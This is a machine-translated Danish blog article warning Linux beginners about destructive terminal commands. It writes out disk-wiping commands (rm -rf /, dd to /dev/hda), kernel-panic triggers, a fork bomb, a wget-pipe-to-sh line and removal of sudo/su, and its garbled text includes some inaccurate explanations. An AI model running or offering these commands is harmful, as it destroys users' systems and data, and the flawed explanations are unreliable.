Linux kan være et dobbeltkantet sværd. Det går ud fra, at du ved hvad du laver og giver dig friheden til at gøre, hvad du vil. Det vil ikke sætte spørgsmålstegn ved dig. Dette er praktisk, når du faktisk ved hvad du laver, men det betyder også, at du kunne tænke dig at gøre dit system ubrugeligt inden for få sekunder.
Ny på Linux kommandolinjen? Ingen problemer. Kom godt i gang med vores Linux-terminal hurtigstartguide En hurtig guide til at komme i gang med Linux-kommandolinjen En hurtig guide til at komme i gang med Linux-kommandolinjen Du kan lave masser af fantastiske ting med kommandoer i Linux, og det er virkelig ikke svært at lære. Læs mere sammen med disse 40 vigtige Linux-kommandoer. En AZ af Linux - 40 vigtige kommandoer, du bør vide en AZ af Linux - 40 vigtige kommandoer. Du bør vide, at Linux er det ofte ignorerede tredje hjul til Windows og Mac. Ja i løbet af det sidste årti har open source operativsystemet fået en masse trækkraft, men det er stadig langt fra at blive overvejet ... Læs mere. Med disse to ressourcer bliver du fortrolig med kommandolinjen på ingen tid.
Men hvad enten du er en Linux-nybegynder eller veteran, bør du aldrig køre en kommando, medmindre du ved præcis, hvad det gør. Her er nogle af de dødbringende Linux-kommandoer, som du overvejende vil undgå.
Slet rekursivt
Linux-evnen til at slette alt, hvad du vil uden spørgsmål er en gudstjeneste, især efter at have håndteret mange år med "Denne fil kan ikke slettes" fejl i Windows. Men internet troller vil være hurtige til at bedrage dig og præsentere dig med yderst farlige fjernelse kommandoer, der kan tørre hele harddiske.
rm -rf /
Denne linje udfører fjernkommandoen rm med to vinkler: -r som tvinger rekursiv sletning gennem alle undermapper og -f som styrker sletning af skrivebeskyttede filer uden bekræftelse. Kommandoen udføres på / root-mappen, i det væsentlige tørrer hele systemet ren.
Bemærk, disse dage på de fleste Linux-systemer, hvis du forsøgte at gøre dette, vil du få en advarsel. Men advarslen er ikke garanteret, så gør det bare ikke.
Format harddisk
Terminalen er specielt vanskelig for Linux nybegyndere, fordi den giver flere måder til ved et uheld at tørre ens harddisk. Rekursiv sletning er en stor, men her er en anden:
mkfs.ext3 /dev/hda
Denne kommando formaterer harddisken til at bruge ext3-filsystemet. Formatering af diskdrev Sådan reformaterer du FAT32-drevet til NTFS - og fordelene ved at gøre det Sådan reformeres du FAT32-drevet til NTFS - og fordelene ved at gøre det Du kan ikke vide det, men det er faktisk ret at vælge det rigtige filsystem til dine drev. vigtig. Selvom hovedfilen af alle filsystemer er den samme, er der mange fordele og ulemper over hver ... Læs mere er ikke en iboende ondsindet handling, men det "nulstiller" drevet, så det er "så godt som nyt". Med andre ord, en formateret harddisk er som en tom skifer.
Formatering er nyttig til diskpartitioner og eksterne drev, men det er farligt at udføre det på en hel harddisk (som / dev / hda ) og kan lade systemet være uopretteligt.
Overskrive harddisk
Som om uheldig diskformatering ikke var dårligt nok, er det muligt at overskrive harddisken ved hjælp af rå data. Mindst diskformatering er en egentlig procedure med virkelige anvendelser; Direkte overskrivning af et drev er derimod ikke så stort.
command >/dev/hda
I kommandoen ovenfor kan kommandoen erstattes af en hvilken som helst Bash-kommando. Operatøren > omdirigerer output fra kommandoen til venstre til filen til højre. I dette tilfælde er det ligegyldigt hvad outputen af den venstre kommando er. At rå data omdirigeres og bruges til at overskrive systemets harddisk.
Som du kan forestille dig, gør det det ubrugeligt.
Tør harddisk
Her er en anden måde at ødelægge dit system. Denne gang vil kommandoen helt nulstille din harddisk. Ingen dataforstyrrelser eller overskriver det vil bogstaveligt talt fylde din harddisk med nuller. En harddisk bliver ikke mere tørret end det.
dd if=/dev/zero of=/dev/hda
Dd- kommandoen er en instruktion på lavt niveau, der oftest bruges til at skrive data til fysiske drev. Hvis parameteren bestemmer datakilden, som i dette tilfælde er / dev / zero, en speciel på Linux, der producerer en uendelig strøm af nuller. Parameteren bestemmer destinationen for disse nuller, som er / dev / hda- drevet.
Ja, der er legitime grunde til at nulle et drev, men hvis du ikke ved, hvad disse grunde er, så vil du være væk fra denne kommando.
Imploder harddisk
Hvis du er træt af at høre måder at ødelægge din harddisk, skal du fortsætte. Her er en mere for dig. På Linux er der en særlig fil kaldet / dev / null, der vil kassere, hvad der er skrevet til det. Du kan tænke på det som et sort hul eller en file shredder: Alt givet til det som input vil blive spist op for godt.
mv / /dev/null
Kan du se faren her? Kommandoen mv forsøger at flytte systemets rodmappe / i det sorte hul i / dev / null . Dette er en gyldig kommando, og resultatet er ødelæggende: harddisken bliver spist op, og der er ikke noget tilbage. Gør dette, gør dit system ubrugeligt.
Årsag Kernel Panik
Windows har sin berygtede Blue Screen of Death Windows 8 Crashing? Sådan nemt fejlfinding Blue Screen & andre problemer Windows 8 Crashing? Sådan nemt fejlfindes blå skærm og andre problemer Windows 8 er ikke perfekt. Når det er sagt, er de fleste blåskærme og programkrascher ikke Windows-fejl. Vores tip hjælper dig med at identificere præcis, hvad der er galt med din pc og rette det. Læs mere . Og på trods af myter, der flyver rundt, er Linux ikke et helt sikkert system. 4 Cyber Security Myths That Must Die 4 Cyber Security Myths, der skal dø Læs mere. Nogle gange opstår der en intern fejl, hvorfra genoprettelsen er umulig, så systemet vil udføre noget, der ligner den blå skærm: en kernel panik .
dd if=/dev/random of=/dev/port echo 1>/proc/sys/kernel/panic cat /dev/port cat /dev/zero>/dev/mem
De ovennævnte kommandoer er ikke vigtige her. Hvad der er vigtigt er, at kørsel af nogen af disse linjer vil resultere i en kernel panik, der tvinger dig til at genstarte dit system. Det er bedst at holde sig væk fra disse kommandoer, medmindre du er helt sikker på, at du ved hvad du laver.
Gaffelbombe
Bash er sproget for Linux-terminalen Er Linux forvirrende? Her er de nøgleord, du skal vide, er Linux forvirrende? Her er de nøglebetingelser, du behøver at vide Disse dage installerer Ubuntu og andre moderne Linux-distributioner normalt uden hitch (og uden at kræve nogen viden), men når du bevæger dig fremad ved hjælp af dem, vil du uundgåeligt komme på tværs af alle mulige terminologier. .. Læs mere og det er kraftigt. Det kan ikke kun køre kommandoer, men det kan også køre funktioner, hvilket gør det nemt at skrive scripts, der kan automatisere systemopgaver. Desværre kommer funktioner ikke uden deres eget sæt risici.
:(){:|:&};:
Denne uklare kommando hedder en gaffelbombe, som er en særlig type kernel panik. Det definerer en funktion kaldet : der recursively kalder sig to gange, når den udføres. Et af de rekursive opkald sker i forgrunden, mens det andet sker i baggrunden.
Med andre ord, når denne funktion udføres, fremkalder den to børneprocesser. Disse børneprocesser gyder deres eget barnprocesser, og denne cyklus fortsætter i en uendelig sløjfe. Den eneste vej ud af det er at genstarte systemet.
Udfør Remote Script
Her er en uskyldig kommando, som faktisk kan være nyttig i det daglige liv på et Linux-system. wget henter indholdet af en webadresse, som kan bruges til at få adgang til websteder eller downloade filer. Der er dog et simpelt trick, der gør det farligt:
wget http://an-untrusted-url -O- | sh
Ovennævnte kombination downloader indholdet af den givne webadresse og sender det straks til sh- kommandoen, som udfører det downloadede indhold i terminalen. Hvis URL'en skulle pege på et ondsindet script, ville du forsegle din egen skæbne med denne kommando.
Deaktiver Root Command Rights
Denne endelige kommando er ligetil. Det bruger den almindeligt anvendte rm- kommando til at deaktivere to af de vigtigste kommandoer på Linux: sudo og su . Lang historie kort, disse to tillader dig at køre andre kommandoer med root tilladelser. Uden dem ville livet på Linux være elendig.
rm -f /usr/bin/sudo;rm -f /bin/su
Derfor bør du ikke køre denne kommando. Det styrker sletter begge kommandoer fra dit system uden nogen bekræftelse, hvilket efterlader dig i en papirstop. Der er måder at gendanne, hvad du har slettet De bedste måder at gendanne data på Linux De bedste måder at gendanne data på Linux Uanset om det var din skyld eller ej, kan der ske ting, der er gemt på dine enheder. Harddiske, solid state-drev og flytbare medier kan alle potentielt "tabe" filer på grund af mange ... Læs mere, men det er ikke altid ligetil eller vil det være behageligt.
Vær sød at passe på! Vær ikke bange for at lege med Linux Overvejer Linux? 10 Almindelige spørgsmål besvaret i betragtning af Linux? 10 Almindelige spørgsmål besvaret Her er de mest almindelige spørgsmål, som Windows-brugere har om Linux. Når du har gennemgået denne liste over spørgsmål og svar, skal du føle dig meget mere sikker på at prøve Linux. Læs mere og kommandolinjeterminalen, men gør samtidig din forskning og udfør aldrig noget, medmindre du er helt sikker på hvad det gør. Hvis nogen fortæller dig at "prøve denne kommando", skal du altid dobbelte og tredobbelte tjekke den.
Har du nogensinde kørt en destruktiv kommando? Hvad skete der? Har nogen truget dig ind i det? Del dine tanker og oplevelser med os i kommentarerne!